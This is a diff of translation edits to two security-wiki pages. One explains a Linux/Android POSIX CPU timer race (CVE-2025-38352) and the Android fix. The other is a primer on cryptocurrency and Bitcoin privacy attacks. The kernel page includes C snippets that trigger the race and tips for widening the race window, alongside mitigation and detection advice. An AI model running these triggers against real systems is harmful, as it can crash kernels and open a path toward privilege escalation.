- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
{{#include ../banners/hacktricks-training.md}}

84
src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
View File

@ -1,19 +1,19 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
このページでは、Linux/Android POSIX CPU timers に存在する TOCTOU レースコンディションについて記述する。これによりタイマー状態が破損しカーネルがクラッシュする可能性があり、場合によっては privilege escalation に向けて誘導できることがある。
このページは、Linux/Android の POSIX CPU timers における TOCTOU レースコンディションを記述しており、timer state を破損させて kernel をクラッシュさせる可能性があり、特定の状況では privilege escalation に向けて操作され得ることを示す。
- 影響を受けるコンポーネント: kernel/time/posix-cpu-timers.c
- Primitive: task exit 下での expiry vs deletion のレース
- プリミティブ: expiry vs deletion race under task exit
- 設定依存: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Quick internals recap (relevant for exploitation)
- タイマー会計は cpu_clock_sample() を介して 3 つの CPU クロックによって駆動される:
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- タイマー作成時にタイマーを task/pid に紐付けし、timerqueue ノードを初期化する:
- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
@ -27,7 +27,7 @@ rcu_read_unlock();
return 0;
}
```
- Armingはper-base timerqueueに挿入を行い、next-expiry cacheを更新することがある:
- アーミングは per-base timerqueue に挿入され、next-expiry キャッシュを更新することがある:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- ファストパスは、キャッシュされた期限切れ情報が発火の可能性を示す場合を除き、高コストな処理を回避します：
- 高速パスは、キャッシュされた期限情報が発火する可能性を示す場合を除き、高コストな処理を回避する：
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
@ -50,7 +50,7 @@ return true;
return false;
}
```
- 期限切れのタイマーを収集し、発火済みとしてマークし、キューから取り除く。実際の配信は保留される:
- Expiration は期限切れのタイマーを収集し、発火状態にマークし、キューから取り除く。実際の配信は遅延される:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
@ -68,9 +68,9 @@ list_add_tail(&ctmr->elist, firing);
return U64_MAX;
}
```
2つの期限切れ処理モード
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 期限切れは対象タスクの task_work を介して延期される
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 期限切れは IRQ context で直接処理される
2つの満了処理モード
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry は対象タスクの task_work 経由で遅延される
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry は IRQ コンテキストで直接処理される
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
@ -90,7 +90,7 @@ lockdep_posixtimer_exit();
}
#endif
```
IRQ-contextパスでは、firing listはsighandの外で処理される
IRQ-context パスでは、firing list は sighand の外で処理されます。
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
@ -114,44 +114,44 @@ spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
前提条件
根本原因: タスク終了時における IRQ コンテキストでのタイマー満了と同時削除の TOCTOU
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- 対象タスクは終了中だが完全に回収されていない
- 別スレッドが同じタイマに対して posix_cpu_timer_del() を同時に呼び出す
- 対象タスクが終了中だが完全には回収されていない
- 別スレッドが同じタイマーに対して posix_cpu_timer_del() を並行して呼ぶ
Sequence
1) update_process_times() は、終了中のタスクに対して IRQ コンテキストで run_posix_cpu_timers() を呼び出す。
2) collect_timerqueue() は ctmr->firing = 1 を設定し、タイマを一時的な firing リストに移動する。
3) handle_posix_cpu_timers() は unlock_task_sighand() を用いて sighand を解放し、ロック外でタイマを配信する。
4) アンロック直後に終了中のタスクが回収され得る；別スレッドが posix_cpu_timer_del() を実行する。
5) この間隙で、posix_cpu_timer_del() は cpu_timer_task_rcu()/lock_task_sighand() を通じて状態を取得できない可能性があり、結果として timer->it.cpu.firing をチェックする通常のインフライトガードをスキップする。削除は未発火であるかのように進み、満了処理中に状態を破損してクラッシュや未定義動作(UB)を引き起こす。
1) update_process_times() が、終了中のタスクに対して IRQ コンテキストで run_posix_cpu_timers() をトリガーする。
2) collect_timerqueue() が ctmr->firing = 1 を設定し、タイマーを一時的な firing リストに移動する。
3) handle_posix_cpu_timers() は unlock_task_sighand() を介して sighand を解放し、ロック外でタイマーを配信する。
4) unlock の直後に、終了中のタスクが回収され得る。兄弟スレッドが posix_cpu_timer_del() を実行する。
5) この間隙で、posix_cpu_timer_del() は cpu_timer_task_rcu()/lock_task_sighand() を介した state の取得に失敗する可能性があり、その結果 timer->it.cpu.firing をチェックする通常の in-flight ガードをスキップしてしまう。発火していないかのように削除が進み、満了が処理されている間に状態が破損してクラッシュ/UB を引き起こす。
Why TASK_WORK mode is safe by design
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y の場合、満了は task_work に遅延される；exit_task_work は exit_notify より先に実行されるため、IRQ 時点での reaping との重なりは発生しない。
- それでも、タスクが既に終了中であれば task_work_add() は失敗する；exit_state を条件にすることで両モードは整合する。
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y の場合、満了処理は task_work に延期される。exit_task_work は exit_notify より先に実行されるため、IRQ 時の回収との重複は発生しない。
- それでも、タスクが既に終了中であれば task_work_add() は失敗する。exit_state によるゲーティングにより両モードは一貫性を持つ。
Fix (Android common kernel) and rationale
- 現在のタスクが終了中であれば早期リターンを追加し、全処理を抑制する：
- カレントタスクが終了中であれば早期リターンを追加し、全ての処理をゲートする:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- これにより、終了中のタスクについて handle_posix_cpu_timers() への入りが防止され、posix_cpu_timer_del() が cpu.firing を見逃して expiry 処理と競合する可能性のあるウィンドウが排除されます。
- これにより、終了中のタスクについて handle_posix_cpu_timers() に入ることが防止され、posix_cpu_timer_del() が it.cpu.firing を見逃して expiry processing と競合する可能性のあるウィンドウが排除されます。
Impact
- タイマー構造体の同時 expiry/削除時のカーネルメモリ破損は、即時のクラッシュ（DoS）を引き起こす可能性があり、任意のカーネル状態を操作できる機会を通じて特権昇格への強力なプリミティブとなります。
- タイマー構造体の同時 expiry/削除中のカーネルメモリ破損は、即時クラッシュ（DoS）を引き起こす可能性があり、任意の kernel-state 操作の機会を通じて privilege escalation に至る強力なプリミティブとなります。
Triggering the bug (safe, reproducible conditions)
Build/config
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n を確実に設定し、exit_state gating fix を適用していないカーネルを使用する。
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n とし、exit_state gating fix を含まないカーネルを使用してください。
Runtime strategy
- 終了直前のスレッドをターゲットにし、CPU タイマーをそれに割り当てる（per-thread または process-wide clock）:
- まもなく終了するスレッドをターゲットにし、そのスレッドに CPU timer をアタッチします（スレッド単位またはプロセス全体のクロック）:
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- 非常に短い初回 expiration と小さな間隔でアームして IRQ-path エントリを最大化する:
- 極めて短い初回有効期限と小さな間隔でアームし、IRQ-path エントリを最大化します:
```c
static timer_t t;
static void setup_cpu_timer(void) {
@ -165,31 +165,31 @@ its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- 別の sibling thread から、target thread が終了する際に同じ timer を同時に削除する:
- ターゲットスレッドが終了する間に、別スレッドから同じタイマーを同時に削除する:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Race amplifiers: 高い scheduler tick rate、CPU load、スレッドの終了／再作成サイクルの繰り返し。クラッシュは通常、unlock_task_sighand() の直後にタスクの lookup/lock に失敗して posix_cpu_timer_del() が firing を見逃すときに発生します。
- レースを助長する要因: 高い scheduler tick rate、CPU load、繰り返されるスレッドの exit/re-create サイクル。クラッシュは通常 posix_cpu_timer_del() が unlock_task_sighand() の直後に task lookup/locking に失敗して firing を見落としたときに発生します。
検出と対策
- Mitigation: exit_state ガードを適用する。可能な場合は CONFIG_POSIX_CPU_TIMERS_TASK_WORK を有効にすることを推奨。
- Observability: unlock_task_sighand()/posix_cpu_timer_del() 周辺に tracepoints/WARN_ONCE を追加する。it.cpu.firing==1 が cpu_timer_task_rcu()/lock_task_sighand() の失敗と同時に観測されたらアラートを出す。タスク終了時の timerqueue の不整合を監視する。
検出とハードニング
- Mitigation: exit_state guard を適用する; 可能なら CONFIG_POSIX_CPU_TIMERS_TASK_WORK を有効にすることを推奨します。
- 可観測性: unlock_task_sighand()/posix_cpu_timer_del() の周りに tracepoints/WARN_ONCE を追加する; it.cpu.firing==1 が cpu_timer_task_rcu()/lock_task_sighand() の失敗と同時に観測されたらアラートを出す; task exit 周辺の timerqueue の不整合を監視する。
監査箇所（レビュアー向け）
監査のホットスポット（レビュー担当者向け）
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() の選択（TASK_WORK vs IRQ パス）
- collect_timerqueue(): ctmr->firing を設定しノードを移動する
- handle_posix_cpu_timers(): firing ループの前に sighand を落とす
- posix_cpu_timer_del(): in-flight の expiry を検出するために it.cpu.firing に依存している；タスクの lookup/lock が exit/reap 中に失敗するとこのチェックはスキップされる
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
エクスプロイト調査の注意点
- 開示された挙動は信頼できるカーネルクラッシュプリミティブである。これを権限昇格に変えるには、通常この要約の範囲を超えた追加の制御可能なオーバーラップ（オブジェクト寿命や write-what-where の影響など）が必要になる。いかなる PoC も不安定化する可能性があるため、エミュレータ/VM 上でのみ実行すること。
エクスプロイト研究向けの注意点
- 開示された挙動は信頼できる kernel crash primitive である; これを privilege escalation に転用するには通常、追加で制御可能なオーバーラップ（オブジェクトのライフタイムや write-what-where 的な影響）が必要で、本要約の範囲を超えます。任意の PoC はシステム不安定化の可能性があるため、emulators/VMs のみで実行してください。
## 参考
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

154
src/blockchain/blockchain-and-crypto-currencies/README.md
View File

@ -1,101 +1,101 @@
# Blockchain and Crypto-Currencies
# ブロックチェーンと暗号通貨
{{#include ../../banners/hacktricks-training.md}}
## Basic Concepts
## 基本概念
- **Smart Contracts** は、特定の条件が満たされたときにブロックチェーン上で実行されるプログラムであり、仲介者なしで合意の実行を自動化します。
- **Decentralized Applications (dApps)** はスマートコントラクトを基盤とし、ユーザーフレンドリーなフロントエンドと透明で監査可能なバックエンドを備えます。
- **Tokens & Coins** は区別され、coins はデジタル通貨としての役割を果たし、tokens は特定のコンテキストでの価値や所有権を表します。
- **Utility Tokens** はサービスへのアクセスを付与し、**Security Tokens** は資産の所有権を示します。
- **DeFi** は分散型金融を指し、中央当局なしで金融サービスを提供します。
- **DEX** と **DAOs** はそれぞれ Decentralized Exchange Platforms（分散型取引所）と Decentralized Autonomous Organizations（分散型自律組織）を指します。
- **Smart Contracts** は、特定の条件が満たされたときにブロックチェーン上で実行されるプログラムであり、中間者なしに契約の実行を自動化します。
- **Decentralized Applications (dApps)** は Smart Contracts を基盤とし、使いやすいフロントエンドと透明で監査可能なバックエンドを備えています。
- **Tokens & Coins** は、coins がデジタル通貨として機能し、tokens が特定の文脈で価値や所有権を表すという点で区別されます。
- **Utility Tokens** はサービスへのアクセスを提供し、**Security Tokens** は資産の所有を示します。
- **DeFi** は Decentralized Finance の略で、中央当局なしに金融サービスを提供します。
- **DEX** と **DAOs** はそれぞれ Decentralized Exchange Platforms と Decentralized Autonomous Organizations を指します。
## Consensus Mechanisms
## コンセンサスメカニズム
コンセンサスメカニズムは、ブロックチェーン上で取引の検証を安全かつ合意的に行うことを保証します：
コンセンサスメカニズムは、ブロックチェーン上でトランザクションの検証が安全かつ合意されたものとなることを保証します:
- **Proof of Work (PoW)** は取引検証に計算資源を依存します。
- **Proof of Stake (PoS)** は検証者が一定量のトークンを保有することを要求し、PoW と比べてエネルギー消費を削減します。
- **Proof of Work (PoW)** はトランザクションの検証に計算能力を利用します。
- **Proof of Stake (PoS)** はバリデータが一定量のトークンを保有することを要求し、PoW と比べてエネルギー消費を削減します。
## Bitcoin Essentials
## Bitcoin の基礎
### Transactions
### トランザクション
Bitcoin のトランザクションはアドレス間で資金を移転することを伴います。トランザクションはデジタル署名によって検証され、秘密鍵の所有者だけが送金を開始できることを保証します。
Bitcoin のトランザクションはアドレス間で資金を移動することを含みます。トランザクションはデジタル署名によって検証され、プライベートキーの所有者のみが送金を開始できることを保証します。
#### Key Components:
#### 主要コンポーネント:
- **Multisignature Transactions** はトランザクションを承認するために複数の署名を必要とします。
- トランザクションは **inputs**（資金の出所）、**outputs**（送金先）、**fees**（miner に支払われる手数料）、および **scripts**（トランザクションのルール）で構成されます。
- トランザクションは **inputs**（資金の出所）、**outputs**（宛先）、**fees**（マイナーに支払われる手数料）、および **scripts**（トランザクションのルール）で構成されます。
### Lightning Network
Lightning Network はチャネル内で複数のトランザクションを行い、最終状態のみをブロックチェーンにブロードキャストすることで Bitcoin のスケーラビリティを向上させることを目的としています。
チャネル内で複数のトランザクションを許可し、最終的な状態のみをブロックチェーンにブロードキャストすることで、Bitcoin のスケーラビリティを向上させることを目的としています。
## Bitcoin Privacy Concerns
## Bitcoin のプライバシー上の懸念
Common Input Ownership や UTXO Change Address Detection のようなプライバシー攻撃はトランザクションパターンを悪用します。Mixers や CoinJoin のような戦略は、ユーザー間のトランザクションの関連付けを曖昧にして匿名性を向上させます。
Privacy attack（プライバシー攻撃）として **Common Input Ownership** や **UTXO Change Address Detection** のようなものがあり、トランザクションのパターンを悪用します。**Mixers** や **CoinJoin** のような戦略は、ユーザー間のトランザクションのつながりを不明瞭にすることで匿名性を高めます。
## Acquiring Bitcoins Anonymously
## Bitcoin を匿名で取得する方法
方法には現金取引、マイニング、mixers の使用などがあります。**CoinJoin** は複数のトランザクションを混ぜて追跡を困難にし、**PayJoin** は通常のトランザクションに見せかけて CoinJoin を行うことでさらにプライバシーを高めます。
手法には現金取引、マイニング、ミキサーの利用などがあります。**CoinJoin** は複数のトランザクションを混ぜて追跡可能性を複雑にし、**PayJoin** は CoinJoin を通常のトランザクションとして偽装してプライバシーを高めます。
# Bitcoin Privacy Atacks
# Bitcoin のプライバシー攻撃
# Summary of Bitcoin Privacy Attacks
# Bitcoin プライバシー攻撃の概要
Bitcoin の世界では、トランザクションのプライバシーやユーザーの匿名性がしばしば問題になります。以下は攻撃者が Bitcoin のプライバシーを侵害する一般的な手法の簡潔な概要です。
Bitcoin の世界では、トランザクションのプライバシーやユーザーの匿名性がしばしば懸念の対象になります。ここでは、攻撃者が Bitcoin のプライバシーを侵害するいくつかの一般的な手法の簡潔な概要を示します。
## **Common Input Ownership Assumption**
異なるユーザーの inputs が単一のトランザクションで結合されることは通常稀であるため、**同じトランザクション内の二つの入力アドレスは同一の所有者に属すると推定されることが多い**です。
異なるユーザーの inputs が複雑さのために単一トランザクションで結合されることは一般的に稀です。したがって、**同じトランザクション内の2つの input アドレスは同一の所有者に属するとみなされることが多い**です。
## **UTXO Change Address Detection**
UTXO（**Unspent Transaction Output**）はトランザクション内で完全に消費される必要があります。もしその一部だけが別のアドレスに送られると、残りは新しい change address に送られます。観察者はその新しいアドレスが送信者に属すると推定でき、プライバシーが損なわれます。
UTXO（**Unspent Transaction Output**）はトランザクションで完全に消費されなければなりません。もし一部だけが別のアドレスに送られた場合、残りは新しい change address に送られます。観察者はこの新しいアドレスが送信者に属すると推定でき、プライバシーが損なわれます。
### Example
### 例
これを緩和するために、mixing services を使ったり複数のアドレスを使用したりすることで所有権を曖昧にすることが有効です。
これを軽減するために、ミキシングサービスを利用したり複数のアドレスを使用することで所有権を不明瞭にすることができます。
## **Social Networks & Forums Exposure**
ユーザーがオンラインで自分の Bitcoin アドレスを共有することがあり、これによって**アドレスと所有者を結びつけることが容易になる**ことがあります。
ユーザーは時々自身の Bitcoin アドレスをオンラインで共有し、その結果 **アドレスを所有者に結びつけることが容易になる**ことがあります。
## **Transaction Graph Analysis**
トランザクションはグラフとして可視化でき、資金の流れに基づいてユーザー間の潜在的な関連を明らかにします。
トランザクションはグラフとして可視化でき、資金の流れに基づいてユーザー間の潜在的なつながりを明らかにします。
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
このヒューリスティックは、複数の inputs と outputs を持つトランザクションを分析して、どの output が送信者に戻る change であるかを推測することに基づきます。
このヒューリスティックは、複数の inputs と outputs を持つトランザクションを解析して、どの output が送信者に戻る change であるかを推測することに基づいています。
### Example
### 例
```bash
2 btc --> 4 btc
3 btc 1 btc
```
追加の inputs を加えることで change output が任意の単一の input より大きくなる場合、heuristic を混乱させることがある。
もし追加の入力によってお釣り出力が任意の単一入力よりも大きくなる場合、ヒューリスティックが混乱することがある。
## **Forced Address Reuse**
攻撃者は、受取人がこれらを将来の transactions において他の inputs と組み合わせることを期待して、以前に使用された addresses に少額を送ることがある。これにより addresses が相互に結び付けられる可能性がある。
攻撃者は以前に使用されたアドレスへ少額を送金し、受取人が将来のトランザクションでこれらを他の入力と結合することを期待してアドレスを結びつけようとすることがある。
### Correct Wallet Behavior
Wallets は既に使用されて空になった addresses で受け取ったコインを使うのを避け、この privacy leak を防ぐべきである。
ウォレットは、この privacy leak を防ぐために、既に使用済みの空のアドレスで受け取ったコインを使用することを避けるべきである。
## **Other Blockchain Analysis Techniques**
- **Exact Payment Amounts:** change のない Transactions は、同一ユーザーが所有する二つの addresses 間の取引である可能性が高い。
- **Round Numbers:** Transaction における丸い数字（切りの良い金額）は支払いを示唆し、非丸い output が change である可能性が高い。
- **Wallet Fingerprinting:** 異なる wallets は独自の transaction 作成パターンを持ち、analysts は使用されたソフトウェアを特定し、潜在的に change address を特定できる。
- **Amount & Timing Correlations:** transaction の時刻や金額を公開すると、取引が追跡可能になることがある。
- **Exact Payment Amounts:** お釣りのないトランザクションは、同一ユーザが所有する2つのアドレス間である可能性が高い。
- **Round Numbers:** トランザクション内の切りの良い金額は支払いを示唆し、切りの悪い出力がたいていお釣りである可能性が高い。
- **Wallet Fingerprinting:** ウォレットごとに独特のトランザクション作成パターンがあり、解析者は使用ソフトウェアやお釣りアドレスを特定できる可能性がある。
- **Amount & Timing Correlations:** トランザクションの時間や金額を公開すると、トランザクションが追跡可能になることがある。
## **Traffic Analysis**
network traffic を監視することで、攻撃者は transactions や blocks を IP addresses に結び付け、ユーザーのプライバシーを侵害する可能性がある。特に、ある主体が多数の Bitcoin nodes を運用している場合、transactions の監視能力が高まるため、このリスクは大きくなる。
ネットワークトラフィックを監視することで、攻撃者はトランザクションやブロックをIPアドレスに結び付け、ユーザのプライバシーを侵害できる可能性がある。特に、多数のBitcoinノードを運営する組織はトランザクションを監視する能力が高まるため、このリスクが大きい。
## More
@ -105,74 +105,82 @@ network traffic を監視することで、攻撃者は transactions や blocks
## Ways to Get Bitcoins Anonymously
- **Cash Transactions**: 現金を使って Bitcoins を取得する方法。
- **Cash Alternatives**: ギフトカードを購入してオンラインで Bitcoin と交換する方法。
- **Mining**: 最もプライベートな方法で Bitcoin を得るのは mining で、特に単独で行う場合がそうである。なぜなら mining pools はマイナーの IP address を知る可能性があるからだ。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: 理論上、Bitcoin を盗むことも匿名で入手する方法になり得るが、違法であり推奨されない。
- **Cash Transactions**: 現金でビットコインを取得する。
- **Cash Alternatives**: ギフトカードを購入し、オンラインでビットコインと交換する。
- **Mining**: ビットコインを得る最もプライベートな方法はマイニングで、特にソロで行う場合はプライバシーが高い。マイニングプールはマイナーのIPアドレスを把握している可能性がある。 [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: 理論上、ビットコインを盗むことは匿名で入手する方法になり得るが、違法であり推奨されない。
## Mixing Services
mixing service を利用すると、ユーザーは Bitcoins を送って異なる Bitcoins を受け取り、元の所有者の追跡を困難にすることができる。しかしこれは、そのサービスがログを保持せず、実際に Bitcoins を返すことを信頼する必要がある。代替の mixing オプションには Bitcoin casinos が含まれる。
ミキシングサービスを使用すると、ユーザは**ビットコインを送信し**、**別のビットコインを受け取る**ことができ、これにより元の所有者の追跡が困難になる。しかし、サービスがログを保持しないこと、実際にビットコインを返すことを信頼する必要がある。代替のミキシング手段としてはBitcoinカジノがある。
## CoinJoin
CoinJoin は複数のユーザーの Transactions を1つに結合し、inputs と outputs を照合しようとする者にとって困難にする。とはいえ、個別の input や output のサイズが独特な場合は、依然として追跡される可能性がある。
**CoinJoin** は複数のユーザのトランザクションを1つに合体させ、入力と出力を対応付けようとする者の作業を複雑にする。とはいえ、入力や出力のサイズがユニークなトランザクションは依然として追跡される可能性がある。
例として CoinJoin を使用した可能性のある transactions には `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` と `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` がある。
CoinJoinを使用した可能性があるトランザクションの例には `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` と `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` が含まれる。
詳細は [CoinJoin](https://coinjoin.io/en) を参照。Ethereum 上の類似サービスとしては [Tornado Cash](https://tornado.cash) があり、miners の資金を用いて transactions を匿名化する。
詳細は[CoinJoin](https://coinjoin.io/en) を参照。Ethereum上の類似サービスとしては[Tornado Cash](https://tornado.cash) があり、マイナーからの資金を用いてトランザクションを匿名化する。
## PayJoin
CoinJoin の変種である PayJoin (または P2EP) は、（例えば顧客と販売者のような）二者間の取引を CoinJoin 特有の等しい outputs を伴わない通常の transaction のように偽装する。これにより検出が極めて難しくなり、transaction surveillance entities が用いる common-input-ownership heuristic を無効にする可能性がある。
CoinJoinの派生である **PayJoin** (または P2EP) は、2者（例: 顧客と商人）間のトランザクションをCoinJoinの特徴的な等額出力を伴わない通常のトランザクションとして偽装する。これにより検出が非常に困難になり、トランザクション監視機関が使用する common-input-ownership heuristic を無効にする可能性がある。
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
上記のようなトランザクションはPayJoinである可能性があり、標準的なbitcoinトランザクションと見分けがつかないままプライバシーを強化します。
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
**PayJoinの利用は従来の監視手法を大きく混乱させる可能性があり、トランザクションのプライバシー追求において有望な進展です。**
# 暗号通貨におけるプライバシーのベストプラクティス
## **ウォレット同期技術**
## **ウォレット同期手法**
プライバシーとセキュリティを維持するためには、ウォレットをブロックチェーンと同期することが重要です。特に次の2つの方法が目立ちます：
プライバシーとセキュリティを維持するために、ウォレットをブロックチェーンと同期することが重要です。特に次の2つの方法が挙げられます：
- **Full node**: ブロックチェーン全体をダウンロードすることで、Full node は最大限のプライバシーを確保します。すべての取引がローカルに保存されるため、攻撃者がユーザーの関心のある取引やアドレスを特定することは不可能になります。
- **Client-side block filtering**: この方法はブロックチェーン内の各ブロックに対してフィルタを作成するもので、ウォレットがネットワークの観測者に特定の関心を明かすことなく関連する取引を識別できるようにします。ライトウェイトなウォレットはこれらのフィルタをダウンロードし、ユーザーのアドレスに一致した場合にのみフルブロックを取得します。
- **Full node**: ブロックチェーン全体をダウンロードすることで、Full nodeは最大のプライバシーを確保します。すべての取引がローカルに保存されるため、攻撃者がユーザーが関心を持つトランザクションやアドレスを特定することが不可能になります。
- **Client-side block filtering**: この方法はブロックチェーンの各ブロックに対するフィルタを作成するもので、ウォレットがネットワークの観測者に特定の関心を露呈することなく関連するトランザクションを識別できるようにします。ライトウォレットはこれらのフィルタをダウンロードし、ユーザーのアドレスと一致したときにのみフルブロックを取得します。
## **Utilizing Tor for Anonymity**
## **匿名化のためのTorの利用**
Bitcoin がピアツーピアネットワーク上で動作することを考えると、Tor の使用は IP アドレスを隠すために推奨され、ネットワークとやり取りする際のプライバシーを向上させます。
Bitcoinがピアツーピアネットワーク上で動作していることを考えると、ネットワークとやり取りする際のプライバシーを高めるためにIPアドレスを隠す目的でTorの使用が推奨されます。
## **Preventing Address Reuse**
## **アドレス再利用の防止**
プライバシーを守るためには、各取引ごとに新しいアドレスを使うことが重要です。アドレスの使い回しは取引を同一主体に結びつけ、プライバシーを損なう可能性があります。モダンなウォレットは設計上アドレスの使い回しを抑制します。
プライバシーを保護するためには、各トランザクションごとに新しいアドレスを使用することが重要です。アドレスを再利用すると、トランザクションが同一の主体に結び付けられ、プライバシーが損なわれる可能性があります。モダンなウォレットは設計上、アドレスの再利用を抑制します。
## **Strategies for Transaction Privacy**
## **トランザクションプライバシーのための戦略**
- **Multiple transactions**: 支払いを複数の取引に分割することで取引金額を曖昧にし、プライバシー攻撃を阻止できます。
- **Change avoidance**: お釣り（change outputs）が不要な取引を選ぶことで、チェンジ検出手法を混乱させ、プライバシーが向上します。
- **Multiple change outputs**: チェンジを避けられない場合でも、複数のチェンジ出力を生成することでプライバシーを改善できます。
- **Multiple transactions**: 支払いを複数のトランザクションに分割することで、トランザクション額を曖昧にし、プライバシー攻撃を難しくします。
- **Change avoidance**: change outputsを必要としないトランザクションを選ぶことで、change検出手法を撹乱し、プライバシーが向上します。
- **Multiple change outputs**: changeを避けられない場合でも、複数のchange outputsを生成することでプライバシーが改善されます。
# **Monero: A Beacon of Anonymity**
Monero はデジタル取引における絶対的な匿名性のニーズに応え、高いプライバシー基準を設定しています。
Moneroはデジタル取引における絶対的な匿名性のニーズに対応しており、プライバシーの高い基準を提示しています。
# **Ethereum: Gas and Transactions**
## **Understanding Gas**
## **Gasの理解**
Gas は Ethereum 上で操作を実行するために必要な計算量を測る単位で、価格は **gwei** で表されます。例えば、2,310,000 gwei（または 0.00231 ETH）の費用がかかる取引は、gas limit と base fee を伴い、マイナーへのインセンティブとして tip が加わります。ユーザーは max fee を設定して過支払いを防げるようになっており、余剰は払い戻されます。
GasはEthereum上で処理を実行するために必要な計算リソースを測る単位で、単価は **gwei** で表されます。例えば、2,310,000 gwei（または0.00231 ETH）の取引では、gas limitとbase feeが関係し、マイナーへのインセンティブとしてtipが加えられます。ユーザーはmax feeを設定して過払いを防げ、余剰分は返金されます。
## **Executing Transactions**
## **トランザクションの実行**
Ethereum の取引は送信者と受信者を含み、いずれもユーザーアドレスかスマートコントラクトアドレスであり得ます。取引には手数料が必要で、マイニングされる必要があります。取引に含まれる重要な情報は、受信者、送信者の署名、value、任意の data、gas limit、そして手数料です。特筆すべきは、送信者のアドレスは署名から導出されるため、取引データに明示的に含める必要がない点です。
Ethereumのトランザクションは送信者と受信者を含み、これらはユーザーアドレスまたはsmart contractアドレスのいずれかです。トランザクションには手数料が必要で、マイニングされる必要があります。トランザクションに含まれる基本情報は、recipient、senderのsignature、value、任意のdata、gas limit、およびfeesなどです。特に、senderのアドレスはsignatureから導出されるため、トランザクションデータ内で明示する必要はありません。
これらの手法と仕組みは、プライバシーとセキュリティを優先して暗号通貨に関与しようとする人にとって基盤となるものです。
これらの手法とメカニズムは、プライバシーとセキュリティを優先して暗号通貨に関わろうとする人にとって基礎的なものです。
## 参考資料
## スマートコントラクトセキュリティ
- テストスイートの盲点を見つけるためのMutation testing:
{{#ref}}
../smart-contract-security/mutation-testing-with-slither.md
{{#endref}}
## 参考文献
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -181,9 +189,9 @@ Ethereum の取引は送信者と受信者を含み、いずれもユーザー
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## DeFi/AMM の悪用
## DeFi/AMMの悪用研究
もし DEXes や AMMs の実践的な悪用を調査しているなら（Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps）、次を参照してください：
